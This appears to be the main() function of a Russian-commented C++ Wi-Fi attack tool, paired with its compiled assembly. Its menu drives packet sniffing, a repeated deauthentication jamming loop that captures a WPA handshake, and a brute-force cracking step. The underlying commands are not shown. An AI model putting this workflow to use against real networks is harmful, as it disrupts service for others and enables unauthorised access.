// File: fuad00[P]wifitool/code.cpp
// Function: main
int main()	{
	system(start_func);                   // Пробуем восстановить работу сетевых карт и зачищаем остаточные файлы (Восстановление после предыдущего запуска)
	progress(0);                          // Выводим строку прогресса
	cout << "\n                   Wifitool v0.1" << endl;
	cout << "\n\n[!] Внимание!" << endl;    // Дисклеймер
	cout << "Данная программа несёт демонстративный характер." << endl;
	cout << "Мы не неёсем ответственности за ваши действия." << endl;
	cout << "\n[?] Введите '0' или '?' для справки.\n\n";
	while(true)	{
		cout << "WiFi Tool: ";        // Создаём иллюзию командной оболочки
		cin >> user_input;            // Ожидаем ввод
		if(user_input == "0" || user_input == "?"){help_func();} // Если ввели 0, Запускаем функцию help_func()
		else if(user_input == "1"){check_func();}                // Если ввели 1, Запускаем функцию check_func()
		else if(user_input == "2"){monitor_func();}              // Если ввели 2, Запускаем функцию monitor_func()
		else if(user_input == "3")	{                        // Если ввели 3
			system("mkdir tmp");			// Создаём папку tmp/
			thread t3(sniff_real_func);             // Инициализируем функцию для работы в многопоточном (параллельном) режиме
			t3.detach();                            // Запускаем функцию и продолжаем работу кода
			sniff_func();                           // Запускаем функцию
		}

		else if(user_input == "4")	{               // Если ввели 4
			progress(70);				// Выводим строку прогресса
			thread t1(deauth_func);                 // Инициализируем функцию для работы в многопоточном (параллельном) режиме
			t1.detach();                            // Запускаем функцию и продолжаем работу кода
			animation();                            // при помощи этой КРАСИВОЙ функции задержки, aireplay-ng не выдает ошибку и начинает деаут на правильном канале!
			progress(80);                           // Выводим строку прогресса
			cout << "\n[!] Как только получите хендшейк, нажмите в этом окне 'ctrl - c'" << endl;
			signal(SIGINT, sigint);                 // Захватываем ctrl - c для остановки aireplay-ng
			for(;;) {
				if (!ctrlc_pressed) {           // Если ctrl - c НЕ нажата
					deauth_func2();         // Запускаем функцию, глушащую сеть
					system("sleep 6");      // переодичность запуска глушилки. Для того, чтобы дать AP отдышаться.
				}
				else {                          // Если ctrl - c нажата
					goto End;               // Выходим из цикла
				}
			}
			End:                                    // Результат выхода из цика
				progress(90);                   // Выводим строку прогресса
			cout << "\n[+] Хендшейк пойман. Для брутфорса запустите [5].\n" << endl;

		}
		else if(user_input == "5"){crack_func();}       // Если ввели 5, Запускаем функцию crack_func()
		else {cout << "[-] Команда не распознана. Введите [0] или [?] для справки.\n\n";}      // Если введена неверная команда
	}
}

// Assembly:
pushq %rbp
movq %rsp, %rbp
subq $0x50, %rsp
movl $0x0, -0x4(%rbp)
movq 0x693a(%rip), %rdi      # 0x9240
callq 0x2170
xorl %edi, %edi
callq 0x2c30
movq 0x66b7(%rip), %rdi      # 0x8fd0
leaq 0x27b1(%rip), %rsi      # 0x50d1
callq 0x21b0
movq %rax, %rdi
movq 0x6679(%rip), %rsi      # 0x8fa8
callq 0x21e0
movq 0x6695(%rip), %rdi      # 0x8fd0
leaq 0x27b1(%rip), %rsi      # 0x50f3
callq 0x21b0
movq %rax, %rdi
movq 0x6657(%rip), %rsi      # 0x8fa8
callq 0x21e0
movq 0x6673(%rip), %rdi      # 0x8fd0
leaq 0x27a7(%rip), %rsi      # 0x510b
callq 0x21b0
movq %rax, %rdi
movq 0x6635(%rip), %rsi      # 0x8fa8
callq 0x21e0
movq 0x6651(%rip), %rdi      # 0x8fd0
leaq 0x27e1(%rip), %rsi      # 0x5167
callq 0x21b0
movq %rax, %rdi
movq 0x6613(%rip), %rsi      # 0x8fa8
callq 0x21e0
movq 0x662f(%rip), %rdi      # 0x8fd0
leaq 0x2815(%rip), %rsi      # 0x51bd
callq 0x21b0
movq 0x661c(%rip), %rdi      # 0x8fd0
leaq 0x283e(%rip), %rsi      # 0x51f9
callq 0x21b0
movq 0x6619(%rip), %rdi      # 0x8fe0
leaq 0x699a(%rip), %rsi      # 0x9368
callq 0x2250
leaq 0x698e(%rip), %rdi      # 0x9368
leaq 0x2824(%rip), %rsi      # 0x5205
callq 0x3d60
testb $0x1, %al
jne 0x2a03
leaq 0x6977(%rip), %rdi      # 0x9368
leaq 0x280f(%rip), %rsi      # 0x5207
callq 0x3d60
testb $0x1, %al
jne 0x2a03
jmp 0x2a0d
callq 0x2d30
jmp 0x2c17
leaq 0x6954(%rip), %rdi      # 0x9368
leaq 0x2ad1(%rip), %rsi      # 0x54ec
callq 0x3d60
testb $0x1, %al
jne 0x2a26
jmp 0x2a30
callq 0x2df0
jmp 0x2c15
leaq 0x6931(%rip), %rdi      # 0x9368
leaq 0x27cb(%rip), %rsi      # 0x5209
callq 0x3d60
testb $0x1, %al
jne 0x2a49
jmp 0x2a53
callq 0x2ea0
jmp 0x2c13
leaq 0x690e(%rip), %rdi      # 0x9368
leaq 0x30d7(%rip), %rsi      # 0x5b38
callq 0x3d60
testb $0x1, %al
jne 0x2a6c
jmp 0x2ac6
leaq 0x2798(%rip), %rdi      # 0x520b
callq 0x2170
leaq 0x521(%rip), %rsi       # 0x2fa0
leaq -0x10(%rbp), %rdi
movq %rdi, -0x30(%rbp)
callq 0x3d90
movq -0x30(%rbp), %rdi
callq 0x22d0
jmp 0x2a97
callq 0x3050
jmp 0x2a9e
leaq -0x10(%rbp), %rdi
callq 0x3e50
jmp 0x2c11
movq %rax, %rcx
movl %edx, %eax
movq %rcx, -0x18(%rbp)
movl %eax, -0x1c(%rbp)
leaq -0x10(%rbp), %rdi
callq 0x3e50
jmp 0x2c1c
leaq 0x689b(%rip), %rdi      # 0x9368
leaq 0x2741(%rip), %rsi      # 0x5215
callq 0x3d60
testb $0x1, %al
jne 0x2ae2
jmp 0x2bda
movl $0x46, %edi
callq 0x2c30
leaq 0xa1d(%rip), %rsi       # 0x3510
leaq -0x28(%rbp), %rdi
movq %rdi, -0x38(%rbp)
callq 0x3d90
movq -0x38(%rbp), %rdi
callq 0x22d0
jmp 0x2b0b
callq 0x3770
jmp 0x2b12
movl $0x50, %edi
callq 0x2c30
jmp 0x2b1e
movq 0x64ab(%rip), %rdi      # 0x8fd0
leaq 0x26eb(%rip), %rsi      # 0x5217
callq 0x21b0
movq %rax, -0x40(%rbp)
jmp 0x2b37
movq -0x40(%rbp), %rdi
movq 0x6466(%rip), %rsi      # 0x8fa8
callq 0x21e0
jmp 0x2b49
movl $0x2, %edi
leaq -0x275(%rip), %rsi      # 0x28e0
callq 0x2230
testb $0x1, 0x6827(%rip)      # 0x9388
jne 0x2b94
callq 0x39c0
jmp 0x2b6a
leaq 0x2711(%rip), %rdi      # 0x5282
callq 0x2170
jmp 0x2b78
jmp 0x2b96
movq %rax, %rcx
movl %edx, %eax
movq %rcx, -0x18(%rbp)
movl %eax, -0x1c(%rbp)
leaq -0x28(%rbp), %rdi
callq 0x3e50
jmp 0x2c1c
jmp 0x2b98
jmp 0x2b5a
movl $0x5a, %edi
callq 0x2c30
jmp 0x2ba4
movq 0x6425(%rip), %rdi      # 0x8fd0
leaq 0x26d8(%rip), %rsi      # 0x528a
callq 0x21b0
movq %rax, -0x48(%rbp)
jmp 0x2bbd
movq -0x48(%rbp), %rdi
movq 0x63e0(%rip), %rsi      # 0x8fa8
callq 0x21e0
jmp 0x2bcf
leaq -0x28(%rbp), %rdi
callq 0x3e50
jmp 0x2c0f
leaq 0x6787(%rip), %rdi      # 0x9368
leaq 0x26f9(%rip), %rsi      # 0x52e1
callq 0x3d60
testb $0x1, %al
jne 0x2bf3
jmp 0x2bfa
callq 0x3aa0
jmp 0x2c0d
movq 0x63cf(%rip), %rdi      # 0x8fd0
leaq 0x26db(%rip), %rsi      # 0x52e3
callq 0x21b0
jmp 0x2c0f
jmp 0x2c11
jmp 0x2c13
jmp 0x2c15
jmp 0x2c17
jmp 0x29ad
movq -0x18(%rbp), %rdi
callq 0x22e0
nopw %cs:(%rax,%rax)